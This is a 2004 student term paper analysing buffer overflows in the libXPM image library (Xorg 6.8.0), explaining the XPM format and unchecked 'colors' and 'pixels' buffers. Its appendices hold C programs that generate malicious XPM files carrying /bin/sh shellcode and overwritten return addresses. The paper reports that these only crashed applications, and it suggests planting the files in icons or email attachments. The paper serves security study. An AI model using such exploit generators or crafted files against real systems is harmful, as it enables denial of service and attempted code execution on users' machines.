Atanas Dimitrov
Term Paper - Fall 2004
CS 6900
Dr. Kang Li

"LibXPM Multiple Unspecified Vulnerabilities" - Specified!

(http://www.securityfocus.com/bid/11694/info/)

The purpose of this paper is to overview and demonstrate vulnerabilities recently discovered in libXPM.so. The shared library, commonly found under Linux, is used to provide a flexible interface for software, which deals with XPM image files. The most practical applications of images in the XPM format include desktop icons and wallpapers. However, the usage of such files is not limited in any case. The image format is very flexible and allows for any combination or number of colors. Therefore, the usability of XPM files for purposes other than the stated above is certainly not limited although it is not commonly seen. First, I will briefly describe the XPMformat according to the specifications for clarity of further discussions. Second, I will point out the problems associated with some of the functions involved in manipulating XPM files contained in libXPM under Linux. Lastly, I will describe the methods by which I was able to abuse the shared library and subsequently any application that uses it.

PART I - Introduction to XPM

This part of the paper describes some basic features of the XPM format.
The basic format/syntax of an XPM image file is:

Fig. 1

```
/* XPM */
static char * <pixmap_name>[] = {
<Values>
<Colors>
<Pixels>
<Extensions>
};
```

As clearly seen the data in an XPM is organized in an array format. However, there are alternatives to this setup, i.e. the information of the data array can be represented additionally by storing values in separate data members. For example, consider the following two equivalent ways to define the same data:

Fig. 2

```
/* XPM */
#define plaid_width 22
#define plaid_height 22
#define plaid_ncolors 4
```

```
#define plaid_chars_per_pixel 2
 * * *
```

Fig. 3

```
/* XPM */
static char * plaid[] =
{
/* width height ncolors cpp */
“22 22 4 2”
 * * *
```

In the last part of the paper, the format in Fig. 2 will be used although this should not change in any way the outcome of the observations. Obviously, the data we have so far defined refers to some basic image properties such as: width, height, number of colors, and characters per pixel (cpp) of an image. The CPP field is used to define more precisely a pixel. By using this field the pixel can then be represented by an arbitrary amount of characters supplied by the image writer in the CPP field. To clarify further let’s briefly focus on another part of the format, namely:

Fig. 4

```
 * * *
/* colors */
“   c red       m white  s light_color”,
 * * *
/* pixels */
“x   x   x x x   x   x x x x x x + x x x x x “,
 * * *
```

Or equivalently (skipping the details):

Fig. 5

```
 * * *
static char* plaid_colors[] = {  “* * *” }
 * * *
static char* plaid_pixels[] = { “* * *”  };
 * * *
```

The “colors” section in Fig. 4 defines the characters that represent the pixmap data in the “pixels” section of the data array. The alternative representation is provided in Fig. 5. The “pixels” section contains the actual bitmap data in the image. As mentioned earlier, the CPP value and additionally the “pixels” section contents are user defined. This allows for great flexibility in terms of performance, measured in terms of “looks” of course, of the XPM image format. However, as we will shortly see, one of the most profitable benefits of the format ultimately becomes the handling library weakness in terms of security.

PART II - The Vulnerabilities

Now let's focus on the library itself. It is commonly located in /usr/X11R6/lib. Many binaries associated with the X graphical subsystem are compiled against libXpm. Most popular desktop managers such as TWM, FVWM, KDE, GNOME, as well as the GNU image manipulation program, also contain some calls to the library in question. Thus, a breach in the code for this shared object file is none the less a major security problem under Linux. In addition, the Xorg (or the X/XFree86) package is not only run on Linux but on a variety of other operating systems and platforms. This makes an exploitable bug in the library very dangerous. In this paper, for the sake of simplicity, I will use a tool called 'xpmroot', which loads and xpm image and sets single/multiple copies of it as the desktop background image in the root (main) window. The application is distributed together with the Xorg package and makes multiple subsequent calls to some of the functions in the libXpm.so library. As the user invokes the 'xpmroot' program and passes it an XPM file as input the program must first determine everything about the image before it is ready to be displayed on the desktop. For this purpose, 'xpmroot' must read the XPM data contained in the ASCII XPM file and place it in a XPM struct within the process' core image. This is accomplished by the function call to XpmReadFileToXpmImage() - a function compiled in xpmLib to do exactly that. The function is defined in the extras/Xpm/lib/RdFToI.c (abbreviated for "Read File to Image") file. It merely opens the XPM data file and subsequently calls xpmParseData() which parses the data. On its behalf, xpmParseData() calls set of further parsing functions, each of which deals with different specific sections of the XPM image. Obvious are some common problems with those functions which deal with the CPP field, the "pixels" and "colors" sections:

1) The CPP value is user supplied, CPP value is used to index "pixels",
   and "pixels"'s length is never checked. Thus, attacker can place arbitrary
   code inside the buffer which may be executed at run time.
2) "colors" length is never checked. - can be exploited due to a improper use
   of strcat().

Since the size of both user-supplied buffers is not checked, any subsequent string manipulation system functions or other calls through out program execution, which use them are thus prone to make the code vulnerable to common buffer overflow attacks. Clearly, this may result in security compromise. As we will see shortly both problems present a separate exploit opportunity. Proof of concept demonstrating the possible security breach is included in the next part of this paper. However most work was done attempting to exploit problem 1. Unfortunately the binary runs at the user level (in user space) so any successful attempts to force the program to execute arbitrary code will run this code as the user running the program. Of course this opens possible doors to further exploit the system to gain administrative privileges. Alternatively, the attacker may simply abuse the user running the program, i.e. deletion of home directory, snooping information, taking over the user account etc.

The exploitation process of the above vulnerabilities involves the creation of a specially crafted XPM file which contains malicious code to be executed once 'xpmroot' is run. So far, execution of this code has been unsuccessful. The code is exploited but not in a meaningful way (i.e. compromising security). On the other hand any software which uses libXpm is successfully crashed causing denial of service. For example, one could place the XPM in a set of icons. Suppose that a user, who is not knowledgeable about his system, downloads those icons causing the window manager to load them at startup. In result the desktop manager will never start - it will always crash. This will temporary deny GUI service to the user. As another example, if the image is attached to an e-mail or simply viewed by a file browser which uses libXpm, those applications will also crash. It is tedious to fix things in the case of an e-mail attachment which the e-mail client auto-displays. If the e-mail client remembers the last message viewed by the user and the last message is the one containing the attachment then the client will always crash at startup trying to open the same bad image.

Part III - Exploitation Details and Observations
Exploitation of problem 2 was not accomplished but was attempted in the usual way (also see source code in Appendix A):

-) place shellcode in the beginning of buffer "_colors".
-) find the starting address of the buffer in memory.
-) use brute force to overwrite the return address of the function which
   contains the buffer, with the start address of the buffer.

General Observations: crashed the software (DoS)

Exploitation of problem 1 was not accomplished but was attempted in the
usual way (also see source code in Appendix B):

-) adjust "cpp" to something sufficiently large to cause trouble.
-) place shellcode in the beginning of buffer "_pixels".
-) find the starting address of the buffer in memory.
-) use brute force to overwrite the return address of the function which
   contains the buffer with the start address of the buffer.

In addition the following was attempted for problem 1:
Partial overwriting of the return address allows the redirection of execution to a system function within the shared libraries loaded by the program. The address of such function must be precisely within the range of the values, which can be specified by overwriting the return address. This could be possible because the overflow does allow for the saved register values to be overwritten. However, in the libraries loaded by the process there were no meaningful functions to use (i.e. exec*(), unlink(), etc.) in the available range of addresses.
Another observation was that it is possible to return the function with the vulnerable buffer to the address following the last byte of the supplied string (in other words the first byte of the next function - usually some data but not necessarily user-supplied) by redirecting execution to an arbitrary "ret" command in the shared libraries code. Since the value at this address could not be controlled. This also did not yield shellcode execution.

General Observations: crashed the software (DoS)

PART IV - Conclusion

To conclude, there are programming errors in the Xorg package version 6.8.0, which allow partial exploitation limited to Denial of Service. However, they are not exploitable to the fullest extent. Fixed binary packages and patches have already been released so the impact of exploits, even if they are possible, is greatly diminished and restricted to systems not kept up-to-date.

References:
(1) X11R6.8.0-src*.tar
(2) “http://www.securityfocus.com/bid/11694/info/”

```
+==========+
+APPENDIX A+
+==========+
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MAX_BUF 8197
#define RETADDR 0xbfff6960

int main()
{
        int i;
        FILE *file_ptr;

        char shellcode[] =
        ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
    “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
    “\x80\xe8\xdc\xff\xff\xff/bin/sh”;

        char buffer[MAX_BUF];

        char beg_str1 [] =
        {
                ”#define _format 1\n”
                ”#define _width 1\n”
                ”#define _height 1\n”
                ”#define _ncolors 1\n”
                ”#define _chars_per_pixel 1\n”
                ”static char* _colors[] = {“
                ”\”A\”, \””
        };
        char end_str1 [] =
        {
                ”\” } ;”
        };

        for (i=0; i<MAX_BUF; i+=4)
                *(long *)&buffer[i] = RETADDR;

        file_ptr = fopen(“evilxpm1.xpm”, “w+”);
        fwrite (beg_str1, sizeof(char), sizeof(beg_str1) - 1, file_ptr);
        fwrite (buffer, sizeof(char), sizeof(buffer) - 1, file_ptr);
        fwrite (end_str1, sizeof(char), sizeof(end_str1) -1, file_ptr);

        fclose(file_ptr);

        exit(0);
}
```

```
    +==========+
    +APPENDIX B+
    +==========+
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MAX_BUF 40000
#define RETADDR 0xbfffaa20

int main()
{
        int i;
        FILE *file_ptr;

        char shellcode[] =
        ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
     “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
     “\x80\xe8\xdc\xff\xff\xff/bin/sh”;

        char buffer[MAX_BUF];

        char beg_str1 [] =
        {
                ”#define _format 1\n”
                ”#define _width 1\n”
                ”#define _height 1\n”
                ”#define _ncolors 1\n”
                ”#define _chars_per_pixel 9775\n”
                ”static char* _colors[] = {\””
        };

        char end_str1 [] =
        {
                ”\”,\”#FFFFFF\”};\n”
        };

        char beg_str2 [] =
        {
                ”static char* _pixels[] = {\””
        };

        char end_str2 [] =
        {
                ”\”};”
        };

        for (i=0; i<MAX_BUF; i+=4)
                *(long *)&buffer[i] = RETADDR;

        memcpy(buffer, shellcode, sizeof(shellcode));
     buffer[sizeof(shellcode)-1]=0xaa; //take care of an extra 0x00

        file_ptr = fopen(“evilxpm.xpm”, “w+”);
        fwrite (beg_str1, sizeof(char), sizeof(beg_str1) - 1, file_ptr);
        fwrite (buffer, sizeof(char), sizeof(buffer) - 1, file_ptr);
        fwrite (end_str1, sizeof(char), sizeof(end_str1) -1, file_ptr);

        fwrite (beg_str2, sizeof(char), sizeof(beg_str2) - 1, file_ptr);
        fwrite (buffer, sizeof(char), sizeof(buffer) - 1, file_ptr);
        fwrite (end_str2, sizeof(char), sizeof(end_str2) - 1, file_ptr);

        fclose(file_ptr);

        exit(0);
}
```